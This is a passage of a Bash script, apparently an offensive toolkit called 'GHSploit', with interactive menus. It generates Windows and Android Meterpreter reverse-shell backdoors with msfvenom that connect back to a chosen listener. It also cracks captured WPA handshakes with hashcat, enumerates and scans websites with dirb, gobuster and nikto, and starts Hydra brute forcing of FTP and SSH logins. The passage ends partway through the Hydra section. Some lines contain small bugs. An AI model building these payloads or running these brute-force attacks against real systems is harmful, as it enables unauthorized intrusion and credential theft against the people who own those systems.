  1585. echo "Range of ports : Common 1000 ports"
  1586. elif [ $nmaprange = a ];then
  1587. echo "Range of ports : All 65535 ports (slower)"
  1588. else
  1589. echo "Range of ports : $nmaprange "
  1590. fi
  1591. sleep 0.01
  1592. if [ $nmapopt = 1 ];then
  1593. echo "Options : Not selected, default scan"
  1594. else
  1595. echo "Options : $nmapopts "
  1596. fi
  1597. sleep 0.01
  1598. if [ $nmapverb = 1 ];then
  1599. echo "Verbosity : Normal verbosity"
  1600. elif [ $nmapverb = 2 ];then
  1601. echo "Verbosity : Max verbosity"
  1602. else
  1603. echo "Verbosity : No verbosity"
  1604. fi
  1605. sleep 0.01
  1606. if [ $nmapoutput = y ];then
  1607. echo "Output file : $nmapoutputnamep"
  1608. fi
  1609. echo "Is it all right?(y/n): "
  1610. read -p $'\e[1;31m>>>\e[0m ' nmapisitallright
  1611. case $nmapisitallright in
  1612. y)
  1613. if [ $nmapoutput = y ];then
  1614. if ! [ -d $dirnmap ];then
  1615. mkdir $dirnmap
  1616. xterm -geometry 100x30 -T "Running nmap on $nmapinput" -e "sudo nmap $forcescan $nmapinput $nmaprangep $nmapopts $nmapverbp $nmapoutputp $dirnmap/$nmapoutputnamep"
  1617. clear
  1618. echo "Done! Scan results available in $dirnmap/$nmapoutputnamep"
  1619. sleep 0.5
  1620. wannabackf
  1621. else
  1622. xterm -hold -geometry 100x30 -T "Running nmap on $nmapinput" -e "sudo nmap $forcescan $nmapinput $nmaprangep $nmapopts $nmapverbp $nmapoutputp $dirnmap/$nmapoutputnamep"
  1623. clear
  1624. echo "Done! Scan results available in $dirnmap/$nmapoutputnamep"
  1625. sleep 0.05
  1626. wannabackf
  1627. fi
  1628. else
  1629. xterm -hold -geometry 100x30 -T "Running nmap on $nmapinput" -e "sudo nmap $forcescan $nmapinput $nmaprangep $nmapopts $nmapverbp"
  1630. clear
  1631. echo "Done!"
  1632. wannabackf
  1633. fi
  1634. ;;
  1635. n)
  1636. nmap_input_fix
  1637. ;;
  1638. *)
  1639. echo "Error input, repeating..."
  1640. sleep 1
  1641. nmapcontrol
  1642. ;;
  1643. esac
  1644. }
  1645. #===================================================================
  1646. #END OF NMAP FUNCS
  1647. #===================================================================
  1648. #===================================================================
  1649. #Metasploit payload creation functions
  1650. #===================================================================
  1651. msff() {
  1652. clear
  1653. banner
  1654. echo "Choose the type of payload you want to create: "
  1655. sleep 0.01
  1656. echo "1.Payload for Windows"
  1657. sleep 0.01
  1658. echo "2.Payload for Android"
  1659. sleep 0.01
  1660. read -p $'\e[1;31m>>>\e[0m ' payloadtype
  1661. case $payloadtype in
  1662. 1)
  1663. windows_payload
  1664. ;;
  1665. 2)
  1666. android_payload
  1667. ;;
  1668. *)
  1669. echo "Error input, repeating..."
  1670. sleep 1
  1671. msff
  1672. ;;
  1673. esac
  1674. }
  1675. #===============================
  1676. #Windows payload creation
  1677. ##==============================
  1678. windows_payload() {
  1679. win_archtype
  1680. win_payloadname
  1681. win_payloadip
  1682. win_payloadport
  1683. win_payloadcheck
  1684. }
  1685. win_archtype() {
  1686. echo "Select arch of target machine (32/64):"
  1687. read -p $'\e[1;31m>>>\e[0m ' arch
  1688. case ${arch} in
  1689. 32)
  1690. payload="x32"
  1691. ;;
  1692. 64)
  1693. payload="x64"
  1694. ;;
  1695. *)
  1696. echo "Error input, repeating..."
  1697. sleep 1
  1698. win_archtype
  1699. ;;
  1700. esac
  1701. }
  1702. win_payloadname() {
  1703. echo "Now, enter the name of your payload: "
  1704. read -p $'\e[1;31m>>>\e[0m ' winpayloadname
  1705. if [[ -f GHSploit_win_payloads/$winpayloadname.exe ]];then
  1706. echo "Looks like you wanna create a backdoor that already exists!"
  1707. echo "Please, enter another name for your payload!"
  1708. echo "Press ENTER to try again"
  1709. read pjsdjaospdjp
  1710. clear
  1711. win_payloadname
  1712. fi
  1713. }
  1714. win_payloadip() {
  1715. echo "Enter the listening IP: "
  1716. read -p $'\e[1;31m>>>\e[0m ' winpayloadip
  1717. }
  1718. win_payloadport() {
  1719. echo "Enter the listening port: "
  1720. read -p $'\e[1;31m>>>\e[0m ' winpayloadport
  1721. }
  1722. win_payloadcheck() {
  1723. clear
  1724. echo "Almost done, now check your input to avoid errors"
  1725. sleep 0.01
  1726. echo "Payload name : $winpayloadname "
  1727. sleep 0.01
  1728. echo "Payload arch : $payload "
  1729. sleep 0.01
  1730. echo "Payload IP : $winpayloadip "
  1731. sleep 0.01
  1732. echo "Payload port : $winpayloadport "
  1733. sleep 0.01
  1734. echo "Is it all right?(y/n): "
  1735. read -p $'\e[1;31m>>>\e[0m ' wincontrol
  1736. case $wincontrol in
  1737. y)
  1738. dir=GHSploit_win_payloads
  1739. if [ $payload = "x32" ];then
  1740. if [ -d $dir ];then
  1741. msfvenom -p windows/meterpreter/reverse_tcp LHOST=$winpayloadip LPORT=$winpayloadport -f exe > $dir/$winpayloadname.exe
  1742. echo "DONE!You can find your payload in $dir/$winpayloadname.exe"
  1743. wannabackf
  1744. else
  1745. mkdir $dir
  1746. msfvenom -p windows/meterpreter/reverse_tcp LHOST=$winpayloadip LPORT=$winpayloadport -f exe > $dir/$winpayloadname.exe
  1747. echo "DONE!You can find your payload in $dir/$winpayloadname.exe"
  1748. wannabackf
  1749. fi
  1750. else
  1751. if [ -d $dir ];then
  1752. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$winpayloadip LPORT=$winpayloadport -f exe > $dir/$winpayloadname.exe
  1753. echo "DONE!You can find your payload in $dir/$winpayloadname.exe"
  1754. wannabackf
  1755. else
  1756. mkdir $dir
  1757. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$winpayloadip LPORT=$winpayloadport -f exe > $dir/$winpayloadname.exe
  1758. echo "DONE!You can find your payload in $dir/$winpayloadname.exe"
  1759. wannabackf
  1760. fi
  1761. fi
  1762. ;;
  1763. n)
  1764. windows_payload_help
  1765. ;;
  1766. *)
  1767. echo "Error input, repeating..."
  1768. sleep 1
  1769. win_payloadcheck
  1770. ;;
  1771. esac
  1772. }
  1773. windows_payload_help() {
  1774. echo "Where is error?: "
  1775. sleep 0.01
  1776. echo "1.Payload name"
  1777. sleep 0.01
  1778. echo "2.Payload arch"
  1779. sleep 0.01
  1780. echo "3.Payload IP"
  1781. sleep 0.01
  1782. echo "4.Payload port"
  1783. sleep 0.01
  1784. echo "5.My mistake, it's all correct. Go ahead!"
  1785. sleep 0.01
  1786. echo "6.I've changed my mind, wanna qiut"
  1787. read -p $'\e[1;31m>>>\e[0m ' win_help_ans
  1788. case $win_help_ans in
  1789. 1)
  1790. clear
  1791. win_payloadname
  1792. win_payloadcheck
  1793. ;;
  1794. 2)
  1795. clear
  1796. win_archtype
  1797. win_payloadcheck
  1798. ;;
  1799. 3)
  1800. clear
  1801. win_payloadip
  1802. win_payloadcheck
  1803. ;;
  1804. 4)
  1805. clear
  1806. win_payloadport
  1807. win_payloadcheck
  1808. ;;
  1809. 5)
  1810. clear
  1811. win_payloadcheck
  1812. ;;
  1813. 6)
  1814. echo "Bye!"
  1815. exit
  1816. ;;
  1817. *)
  1818. echo "Error input, repeating..."
  1819. sleep 1
  1820. windows_payload_help
  1821. ;;
  1822. esac
  1823. }
  1824. #===============================
  1825. #Android payload creation
  1826. #===============================
  1827. android_payload() {
  1828. clear
  1829. and_namef
  1830. and_ipf
  1831. and_portf
  1832. and_checkf
  1833. }
  1834. and_namef() {
  1835. echo "Enter the name for your payload: "
  1836. read -p $'\e[1;31m>>>\e[0m ' and_name
  1837. if [[ -f GHSploit_and_payloads/$and_name.exe ]];then
  1838. echo "Looks like you wanna create a backdoor that already exists!"
  1839. echo "Please, enter another name for your payload!"
  1840. echo "Press ENTER to try again"
  1841. read pjsdjaospdjp
  1842. clear
  1843. and_namef
  1844. fi
  1845. }
  1846. and_ipf() {
  1847. echo "Now enter the listening host: "
  1848. read -p $'\e[1;31m>>>\e[0m ' and_ip
  1849. }
  1850. and_portf() {
  1851. echo "Enter the listening port: "
  1852. read -p $'\e[1;31m>>>\e[0m ' and_port
  1853. }
  1854. and_checkf() {
  1855. clear
  1856. echo "Almost done, check input to avoid errors: "
  1857. sleep 0.01
  1858. echo "Payload name : $and_name"
  1859. sleep 0.01
  1860. echo "Payload IP : $and_ip "
  1861. sleep 0.01
  1862. echo "Payload port : $and_port"
  1863. sleep 0.01
  1864. echo "Is it all right?(y/n): "
  1865. read -p $'\e[1;31m>>>\e[0m ' andcontrol
  1866. case $andcontrol in
  1867. y)
  1868. dir=GHSploit_and_payloads
  1869. if [ -d $dir ];then
  1870. msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=$and_ip LPORT=$and_port -o $dir/$and_name.apk
  1871. echo "DONE!You can find your payload in $dir/$and_name.apk"
  1872. wannabackf
  1873. else
  1874. mkdir $dir
  1875. msfvenom -a java --platform android -p android/meterpreter/reverse_tcp LHOST=$and_ip LPORT=$and_port -o $dir/$and_name.apk
  1876. echo "DONE!You can find your payload in $dir/$and_name.apk"
  1877. wannabackf
  1878. fi
  1879. ;;
  1880. n)
  1881. and_helpf
  1882. ;;
  1883. *)
  1884. echo "Error input, repeating..."
  1885. sleep 1
  1886. and_checkf
  1887. ;;
  1888. esac
  1889. }
  1890. and_helpf() {
  1891. echo "Where is mistake?"
  1892. sleep 0.01
  1893. echo "1.Payload name"
  1894. sleep 0.01
  1895. echo "2.Payload IP"
  1896. sleep 0.01
  1897. echo "3.Payload port"
  1898. sleep 0.01
  1899. echo "4.My mistake, its all right. Go ahead!"
  1900. sleep 0.01
  1901. echo "5.I've changed my mind, wanna quit"
  1902. read and_help
  1903. case $and_help in
  1904. 1)
  1905. and_namef
  1906. and_checkf
  1907. ;;
  1908. 2)
  1909. and_ipf
  1910. and_checkf
  1911. ;;
  1912. 3)
  1913. and_portf
  1914. and_checkf
  1915. ;;
  1916. 4)
  1917. and_checkf
  1918. ;;
  1919. 5)
  1920. echo "Bye!"
  1921. exit
  1922. ;;
  1923. *)
  1924. echo "Error input, repeating..."
  1925. sleep 1
  1926. and_helpf
  1927. ;;
  1928. esac
  1929. }
  1930. #===================================================================
  1931. #End of Metasploit payload creation functions
  1932. #===================================================================
  1933. #Start of Hashcat functions
  1934. #===================================================================
  1935. hashcatf() {
  1936. clear
  1937. brutemode
  1938. path_to_handshake
  1939. w_type_func
  1940. checkbeforebrutehs
  1941. }
  1942. brutemode() {
  1943. clear
  1944. sleep 0.01
  1945. echo "Would you like to brute by wordlist or by mask?"
  1946. sleep 0.01
  1947. echo "1.Wordlist"
  1948. sleep 0.01
  1949. echo "2.Mask"
  1950. sleep 0.01
  1951. echo "3.Go back to menu"
  1952. read maskwordlist
  1953. case $maskwordlist in
  1954. 1)
  1955. a=0
  1956. mode=Dictionary
  1957. mask=None
  1958. wordlist_pathf
  1959. ;;
  1960. 2)
  1961. a=3
  1962. mode=Mask
  1963. wordlist_path=None
  1964. mask_input
  1965. ;;
  1966. 3)
  1967. main_menu
  1968. ;;
  1969. *)
  1970. echo "Error input, repeating..."
  1971. sleep 1
  1972. brutemode
  1973. ;;
  1974. esac
  1975. }
  1976. wordlist_pathf() {
  1977. clear
  1978. sleep 0.01
  1979. echo "Drag'n'Drop wordlist or enter path manually: "
  1980. sleep 0.01
  1981. echo "For example: /home/user/wordlist.txt"
  1982. read -p $'\e[1;31m>>>\e[0m ' wordlist_path
  1983. if [[ -f $wordlist_path ]];then
  1984. if [ $wordlist_path = ];then
  1985. echo "Error input, repeating..."
  1986. sleep 1
  1987. clear
  1988. wordlist_pathf
  1989. fi
  1990. else
  1991. echo "Oops, looks like you want to select an unexisted wordlist."
  1992. echo "Please, check that you've inputted a right path to wordlist"
  1993. echo "Press ENTER to try again!"
  1994. read pasjfoasi
  1995. wordlist_pathf
  1996. fi
  1997. }
  1998. mask_input() {
  1999. clear
  2000. echo "Enter your mask"
  2001. sleep 0.01
  2002. echo "For example, for 8-digit password it's ?d?d?d?d?d?d?d?d"
  2003. sleep 0.01
  2004. echo "Type 'b' to go back"
  2005. sleep 0.01
  2006. echo "Mask: "
  2007. read -p $'\e[1;31m>>>\e[0m ' mask
  2008. if [ $mask = ];then
  2009. echo "Error input, repeating..."
  2010. sleep 1
  2011. mask_input
  2012. fi
  2013. }
  2014. w_type_func() {
  2015. clear
  2016. sleep 0.01
  2017. echo "Enter the level of performance(1-4): "
  2018. sleep 0.01
  2019. echo "1.Easy"
  2020. sleep 0.01
  2021. echo "2.Medium"
  2022. sleep 0.01
  2023. echo "3.High"
  2024. sleep 0.01
  2025. echo "4.Insane(may cause lags, syster freezes and overheating)"
  2026. read -p $'\e[1;31m>>>\e[0m ' w_type
  2027. case $w_type in
  2028. 1)
  2029. w_type=1
  2030. perf=Easy
  2031. ;;
  2032. 2)
  2033. w_type=2
  2034. perf=Medium
  2035. ;;
  2036. 3)
  2037. w_type=3
  2038. perf=High
  2039. ;;
  2040. 4)
  2041. w_type=4
  2042. perf=Insane
  2043. ;;
  2044. *)
  2045. echo "Error input, repeating..."
  2046. sleep 1
  2047. w_type_func
  2048. ;;
  2049. esac
  2050. }
  2051. path_to_handshake() {
  2052. clear
  2053. sleep 0.01
  2054. echo "Drag'n'Drop handshake or enter handshake path manually"
  2055. sleep 0.01
  2056. echo "Example: /home/user/Desktop/handshake.hccapx"
  2057. sleep 0.01
  2058. echo "Path: "
  2059. read -p $'\e[1;31m>>>\e[0m ' handshake_path
  2060. if [[ -f $handshake_path ]];then
  2061. if [ $handshake_path = ];then
  2062. echo "Error input, repeating..."
  2063. sleep 1
  2064. clear
  2065. path_to_handshake
  2066. elif [[ $handshake_path != *.hccapx ]];then
  2067. echo "Looks like it's not a hashcat-type handshake."
  2068. echo "Please, input a .hccapx-format file"
  2069. sleep 5
  2070. clear
  2071. path_to_handshake
  2072. fi
  2073. else
  2074. echo "Oops, looks like you want to select an unexisted handshake!"
  2075. echo "Please, check that you've inputted a right path to handshake"
  2076. echo "Press ENTER to try again!"
  2077. read pasjfoasi
  2078. path_to_handshake
  2079. fi
  2080. }
  2081. checkbeforebrutehs() {
  2082. clear
  2083. sleep 0.01
  2084. echo "Handshake : $handshake_path"
  2085. sleep 0.01
  2086. echo "Brute mode : $mode"
  2087. sleep 0.01
  2088. echo "Performance mode : $perf"
  2089. sleep 0.01
  2090. echo "Mask : $mask"
  2091. sleep 0.01
  2092. echo "Wordlist : $wordlist_path"
  2093. sleep 0.01
  2094. echo "Is it all right?(y/n)"
  2095. read -p $'\e[1;31m>>>\e[0m ' chbefbrhs
  2096. case $chbefbrhs in
  2097. y)
  2098. echo "Brutefocing your handshake..."
  2099. if [ $a = 0 ];then
  2100. wlbrutehs
  2101. else
  2102. maskbrutehs
  2103. fi
  2104. clear
  2105. wannabackf
  2106. ;;
  2107. n)
  2108. hs_mistake
  2109. ;;
  2110. *)
  2111. echo "Error input, repeating..."
  2112. sleep 1
  2113. checkbeforebrutehs
  2114. ;;
  2115. esac
  2116. }
  2117. hs_mistake() {
  2118. sleep 0.01
  2119. echo "What's wrong?"
  2120. sleep 0.01
  2121. echo "1.Handshake path"
  2122. sleep 0.01
  2123. echo "2.Bruteforce mode"
  2124. sleep 0.01
  2125. echo "3.Performance mode"
  2126. sleep 0.01
  2127. echo "4.Mask"
  2128. sleep 0.01
  2129. echo "5.Wordlist path"
  2130. sleep 0.01
  2131. echo "6.My mistake, it is all right"
  2132. read -p $'\e[1;31m>>>\e[0m ' whatiserrorhs
  2133. case $whatiserrorhs in
  2134. 1)
  2135. path_to_handshake
  2136. checkbeforebrutehs
  2137. ;;
  2138. 2)
  2139. brutemode
  2140. checkbeforebrutehs
  2141. ;;
  2142. 3)
  2143. w_type_func
  2144. checkbeforebrutehs
  2145. ;;
  2146. 4)
  2147. if [ $a -eq 3 ];then
  2148. mask_input
  2149. checkbeforebrutehs
  2150. else
  2151. echo "Lol, you've selected wordlist bruteforce mode and you trying to change the mask..."
  2152. echo "If you've want to change brute mode, please, select option 2."
  2153. echo "Press ENTER to repeat input..."
  2154. read joadsfj
  2155. hs_mistake
  2156. fi
  2157. ;;
  2158. 5)
  2159. if [ $a -eq 0 ];then
  2160. wordlist_pathf
  2161. checkbeforebrutehs
  2162. else
  2163. echo "Lol, you've selected mask bruteforce mode and you trying to change the wordlist..."
  2164. echo "If you've want to change brute mode, please, select option 2."
  2165. echo "Press ENTER to repeat input..."
  2166. read joadsfj
  2167. hs_mistake
  2168. fi
  2169. ;;
  2170. 6)
  2171. checkbeforebrutehs
  2172. ;;
  2173. *)
  2174. echo "Error input, repeating..."
  2175. sleep 1
  2176. hs_mistake
  2177. ;;
  2178. esac
  2179. }
  2180. wlbrutehs() {
  2181. xterm -hold -geometry 100x30 -T "Bruteforcing $handshake_path" -e "hashcat -a 0 -m 2500 -w $w_type $handshake_path $wordlist_path"
  2182. }
  2183. maskbrutehs() {
  2184. xterm -hold -geometry 100x30 -T "Bruteforcing $handshake_path" -e "hashcat -a 3 -m 2500 -w $w_type $handshake_path '$mask'"
  2185. }
  2186. #===================================================================
  2187. #End of Hashcat functions
  2188. #===================================================================
  2189. #===================================================================
  2190. #Starting of whois funcs
  2191. #===================================================================
  2192. whoisf() {
  2193. clear
  2194. echo "Be verbose?(y/n): "
  2195. read -p $'\e[1;31m>>>\e[0m ' whoisverb
  2196. case $whoisverb in
  2197. y)
  2198. verb="--verbose"
  2199. whoisrequest
  2200. ;;
  2201. n)
  2202. verb=""
  2203. whoisrequest
  2204. ;;
  2205. *)
  2206. echo "Error input, repeating..."
  2207. sleep 1
  2208. whoisf
  2209. ;;
  2210. esac
  2211. }
  2212. whoisrequest() {
  2213. clear
  2214. echo "Enter IP/hostname of service you want to check: "
  2215. read -p $'\e[1;31m>>>\e[0m ' whoishost
  2216. xterm -hold -geometry 100x30 -e "whois $verb $whoishost"
  2217. echo "Done! Do you want to check another host?"
  2218. echo "1.Yes, I want to check another host"
  2219. echo "2.No, go back to menu!"
  2220. echo "3.Exit"
  2221. read -p $'\e[1;31m>>>\e[0m ' whoisexit
  2222. case $whoisexit in
  2223. 1)
  2224. whoisf
  2225. ;;
  2226. 2)
  2227. main_menu
  2228. ;;
  2229. 3)
  2230. exit 0
  2231. ;;
  2232. esac
  2233. }
  2234. #===================================================================
  2235. #End of whois funcs
  2236. #===================================================================
  2237. #Starting of dirb & gobuster funcs
  2238. #===================================================================
  2239. urlinputdirb() {
  2240. clear
  2241. echo "Please, insert your target url(in format : http://example.com/ or https://example.com/"
  2242. read -p $'\e[1;31m>>>\e[0m ' targeturldirb
  2243. }
  2244. wlinputdirb() {
  2245. clear
  2246. echo "Please, insert your wordlist to use(leave empty to use default dirb wordlist)"
  2247. read -p $'\e[1;31m>>>\e[0m ' wordlistdirb
  2248. }
  2249. checkdirb() {
  2250. clear
  2251. echo "Done!"
  2252. echo "Target url : $targeturldirb"
  2253. if [[ $wordlistdirb == "" ]];then
  2254. echo "Wordlist : Default"
  2255. else
  2256. echo "Wordlist : $wordlistdirb"
  2257. fi
  2258. echo "Is it all right?[ENTER for YES&GO]"
  2259. echo "1. No, URL is wrong!"
  2260. echo "2. No, Wordlist is wrong"
  2261. read dirbwhatswrong
  2262. case $dirbwhatswrong in
  2263. "")
  2264. dirbgo
  2265. ;;
  2266. 1)
  2267. urlinputdirb
  2268. checkdirb
  2269. ;;
  2270. 2)
  2271. wlinputdirb
  2272. checkdirb
  2273. ;;
  2274. *)
  2275. echo "Error input, repeating..."
  2276. sleep 1
  2277. checkdirb
  2278. ;;
  2279. esac
  2280. }
  2281. dirbgo() {
  2282. xterm -hold -geometry 100x30 -e "dirb $targeturldirb $wordlistdirb"
  2283. }
  2284. dirbf() {
  2285. urlinputdirb
  2286. wlinputdirb
  2287. checkdirb
  2288. clear
  2289. echo "Done! Do you want to enumerate another website with dirb?"
  2290. echo "1. Yes, GO!"
  2291. echo "2. No, go to main menu"
  2292. echo "3. Exit"
  2293. read -p $'\e[1;31m>>>\e[0m ' dirbdone
  2294. case $dirbdone in
  2295. 1)
  2296. dirbf
  2297. ;;
  2298. 2)
  2299. main_menu
  2300. ;;
  2301. 3)
  2302. exit 0
  2303. ;;
  2304. *)
  2305. echo "Error input, going back to main menu.."
  2306. sleep 2
  2307. main_menu
  2308. ;;
  2309. esac
  2310. }
  2311. gobusterf() {
  2312. urlinputgob
  2313. wlinputgob
  2314. threadsgob
  2315. extgob
  2316. checkgob
  2317. clear
  2318. echo "Done! Do you want to brute another website with a gobuster?"
  2319. echo "1. Yes, GO!"
  2320. echo "2. No, go to main menu"
  2321. echo "3. Exit"
  2322. read -p $'\e[1;31m>>>\e[0m ' gobdone
  2323. case $gobdone in
  2324. 1)
  2325. gobusterf
  2326. ;;
  2327. 2)
  2328. main_menu
  2329. ;;
  2330. 3)
  2331. echo "Error input, going back to main menu.."
  2332. sleep 2
  2333. main_menu
  2334. ;;
  2335. esac
  2336. }
  2337. urlinputgob() {
  2338. clear
  2339. echo "Please, insert your target url(in format : http://example.com/ or https://example.com/"
  2340. read -p $'\e[1;31m>>>\e[0m ' targeturlgob
  2341. }
  2342. wlinputgob() {
  2343. clear
  2344. echo "Now, Drag'n'Drop your wordlist or input the path to it manually"
  2345. read -p $'\e[1;31m>>>\e[0m ' wordlistgob
  2346. if [ -f $wordlistgob ];then
  2347. echo "Ok"
  2348. else
  2349. echo "Looks like you want to use an unexisted wordlist..."
  2350. echo "Please, submit the correct wordlist path"
  2351. echo "Press ENTER to repeat..."
  2352. read asdjasdpajp
  2353. wlinputgob
  2354. fi
  2355. }
  2356. threadsgob() {
  2357. clear
  2358. echo "How many threads you want to use?(leave empty for default 10 threads)"
  2359. read -p $'\e[1;31m>>>\e[0m ' threadsgob
  2360. case $threadsgob in
  2361. *[^0-9*])
  2362. echo "Only digits allowed!"
  2363. sleep 1.5
  2364. clear
  2365. threadsgob
  2366. ;;
  2367. "")
  2368. threadsgob=10
  2369. ;;
  2370. esac
  2371. }
  2372. extgob() {
  2373. clear
  2374. echo "At last, please, input the extentions of files you wanna brute, separated by comma"
  2375. echo "For example : txt,zip,php,ini,cfg,sql..."
  2376. echo "Leave empty for brute pages only"
  2377. read -p $'\e[1;31m>>>\e[0m ' extentionsgob
  2378. }
  2379. checkgob() {
  2380. clear
  2381. echo "Done"
  2382. echo "Your target url : $targeturlgob"
  2383. echo "Your wordlist : $wordlistgob"
  2384. echo "Threads : $threadsgob"
  2385. echo "Extentions : $extentionsgob"
  2386. echo "Is it all correct?(ENTER for YES&GO)"
  2387. echo ""
  2388. echo "1. No, URL is incorrect"
  2389. echo "2. No, wordlist is incorrect"
  2390. echo "3. No, I wanna change number of threads"
  2391. echo "4. No, extentions misstyped"
  2392. read -p $'\e[1;31m>>>\e[0m ' gobwhatswrong
  2393. case $gobwhatswrong in
  2394. "")
  2395. gobustergo
  2396. ;;
  2397. 1)
  2398. urlinputgob
  2399. checkgob
  2400. ;;
  2401. 2)
  2402. wlinputgob
  2403. checkgob
  2404. ;;
  2405. 3)
  2406. threadsgob
  2407. checkgob
  2408. ;;
  2409. 4)
  2410. extgob
  2411. checkgob
  2412. ;;
  2413. *)
  2414. echo "Error input, repeating..."
  2415. sleep 1
  2416. checkgob
  2417. ;;
  2418. esac
  2419. }
  2420. gobustergo() {
  2421. xterm -hold -geometry 100x30 -e "gobuster dir -u $targeturlgob -w $wordlistgob -t $threadsgob --wildcard switch"
  2422. }
  2423. #===================================================================
  2424. #End of dirb & gobuster funcs
  2425. #===================================================================
  2426. #===================================================================
  2427. #START OF NIKTO FUNCS
  2428. #===================================================================
  2429. niktof() {
  2430. niktotargetf
  2431. niktocgif
  2432. nikto404f
  2433. niktocheckf
  2434. wannabackf
  2435. }
  2436. niktotargetf() {
  2437. clear
  2438. banner
  2439. echo "Enter your target URL to scan"
  2440. echo "For example : https://targetsite.com or 192.168.0.1:80"
  2441. read -p $'\e[1;31m>>>\e[0m ' niktotarget
  2442. }
  2443. niktocgif() {
  2444. clear
  2445. banner
  2446. echo "Do you want to scan all CGI dirs?(y/n)"
  2447. echo "If you dunno what to do, press [ENTER]"
  2448. read -p $'\e[1;31m>>>\e[0m ' niktocgi
  2449. case $niktocgi in
  2450. "")
  2451. niktocgi="-C all"
  2452. ncgi="All"
  2453. ;;
  2454. n)
  2455. niktocgi=""
  2456. ncgi="None"
  2457. ;;
  2458. y)
  2459. niktocgi="-C all"
  2460. ncgi="All"
  2461. ;;
  2462. *)
  2463. echo "Error input, repeating.."
  2464. sleep 1
  2465. niktocgif
  2466. ;;
  2467. esac
  2468. }
  2469. nikto404f() {
  2470. clear
  2471. banner
  2472. echo "Which codes you want to ignore?"
  2473. echo "For example, do you want to ignore 404(not found) code or 401(forbidden)?"
  2474. echo "Please, submit codes to ignore, separated by comma"
  2475. echo "Example : 404,301,401"
  2476. read -p $'\e[1;31m>>>\e[0m ' $nikto404
  2477. }
  2478. niktocheckf() {
  2479. clear
  2480. banner
  2481. echo "Almost done"
  2482. echo "Target : $niktotarget"
  2483. echo "CGI : $ncgi"
  2484. echo "Codes to ignore : $nikto404"
  2485. echo "Is it all right? [ENTER] to GO, 'n' to correct your input"
  2486. read -p $'\e[1;31m>>>\e[0m ' niktocheck
  2487. case $niktocheck in
  2488. "")
  2489. niktogo
  2490. ;;
  2491. n)
  2492. niktocorrectf
  2493. ;;
  2494. *)
  2495. echo "Error input, repeating.."
  2496. sleep 1
  2497. niktocheckf
  2498. ;;
  2499. esac
  2500. }
  2501. niktocorrectf() {
  2502. echo "Whats wrong?"
  2503. echo "1. Target"
  2504. echo "2. CGI"
  2505. echo "3. Codes to ignore"
  2506. echo "4. My bad, it is all right!"
  2507. read -p $'\e[1;31m>>>\e[0m ' $niktocorrect
  2508. case $niktocorrect in
  2509. 1)
  2510. niktotargetf
  2511. niktocheckf
  2512. ;;
  2513. 2)
  2514. niktocgif
  2515. niktocheckf
  2516. ;;
  2517. 3)
  2518. nikto404f
  2519. niktocheckf
  2520. ;;
  2521. 4)
  2522. niktocheckf
  2523. ;;
  2524. *)
  2525. echo "Error input, repeating.."
  2526. sleep 1
  2527. niktocorrectf
  2528. ;;
  2529. esac
  2530. }
  2531. niktogo() {
  2532. xterm -hold -geometry 100x30 -T "Scanning target $niktotarget" -e "nikto -h $niktotarget $niktocgi $nikto404"
  2533. }
  2534. #===================================================================
  2535. #END OF NIKTO FUNCS
  2536. #===================================================================
  2537. #===================================================================
  2538. #Starting of Hydra funcs
  2539. #===================================================================
  2540. #Default port values
  2541. ftp_port=21
  2542. ssh_port=22
  2543. hydraf() {
  2544. clear
  2545. banner
  2546. echo "Enter the protocol which you wanna brute"
  2547. echo "1.FTP"
  2548. echo "2.SSH"
  2549. echo "3.Back to menu"
  2550. read -p $'\e[1;31m>>>\e[0m ' hydraproc
  2551. case $hydraproc in
  2552. 1)
  2553. hydraftpbrute
  2554. ;;
  2555. 2)
  2556. hydrasshbrute
  2557. ;;
  2558. 3)
  2559. main_menu
  2560. ;;
  2561. *)
  2562. echo "Error input, repeating..."
  2563. sleep 1
  2564. hydraf
  2565. ;;
  2566. esac
  2567. }
  2568. hydrashowattempts() {
  2569. clear
  2570. echo "Do you want to see attempts?"
  2571. echo "1. Yes"
  2572. echo "2. No"
  2573. read -p $'\e[1;31m>>>\e[0m ' hydraattempts
  2574. case $hydraattempts in
  2575. 1)
  2576. hattempts="-V"
  2577. ;;
  2578. 2)
  2579. hattempts=""
  2580. ;;
  2581. *)
  2582. echo "Error input, repeating..."
  2583. sleep 1
  2584. hydrashowattempts
  2585. ;;
  2586. esac
  2587. }
  2588. hydraftpbrute() {
  2589. hydraftptarget
  2590. hydraftpport
  2591. hydraftploginorlist
  2592. hydraftppasswordorlist
  2593. hydrashowattempts
  2594. hydraftpthreads
  2595. hydraftpcheck
  2596. wannabackf
  2597. }
  2598. hydraftptarget() {
  2599. clear
  2600. banner
  2601. echo "Insert your FTP target server you want to brute"
  2602. read -p $'\e[1;31m>>>\e[0m ' ftptarget
  2603. }
  2604. hydraftpport() {
  2605. clear
  2606. banner
  2607. echo "Is your target using default FTP port(21)?"
  2608. echo "If yes, just press [ENTER], if not, input your custom port"
  2609. read -p $'\e[1;31m>>>\e[0m ' ftp_port
  2610. case $ftp_port in
  2611. "")
  2612. ftp_service="ftp"
  2613. ftp_prefix=""
  2614. ftp_port=21
  2615. ;;
  2616. *)
  2617. ftp_prefix="ftp://"
  2618. ftp_service="-s $ftp_port"
  2619. ;;
  2620. esac
  2621. }
  2622. hydraftploginorlist() {
  2623. clear
  2624. banner
  2625. echo "Do you want to use a list with logins?"
  2626. echo "Or do you have special one login to brute?"
  2627. echo "1. I know login, I need to brute password"
  2628. echo "2. I don't know login, but I have a list with logins"
  2629. read -p $'\e[1;31m>>>\e[0m ' ftploginorlist
  2630. case $ftploginorlist in
  2631. 1)
  2632. echo "Enter your login"
  2633. read -p $'\e[1;31m>>>\e[0m ' ftplogin
  2634. ftplog="-l $ftplogin"
  2635. ;;
  2636. 2)
  2637. echo "Drag'n'Drop your login list"
  2638. read -p $'\e[1;31m>>>\e[0m ' ftp_loginlist
  2639. ftplog="-L $ftp_loginlist"
  2640. ftplogin=$ftp_loginlist
  2641. ;;
  2642. *)
  2643. echo "Error input, repeating..."
  2644. sleep 1
  2645. hydraftploginorlist
  2646. ;;
  2647. esac
  2648. }
  2649. hydraftppasswordorlist() {
  2650. clear
  2651. banner
  2652. echo "Do you know password?"
  2653. echo "Or you have list with passwords?"
  2654. echo "1. I know password"
  2655. echo "2. I don't know password, but I have a list with passwords!"
  2656. read -p $'\e[1;31m>>>\e[0m ' ftppassorlist
  2657. case $ftppassorlist in
  2658. 1)
  2659. echo "Enter the password"
  2660. read -p $'\e[1;31m>>>\e[0m ' ftppassword
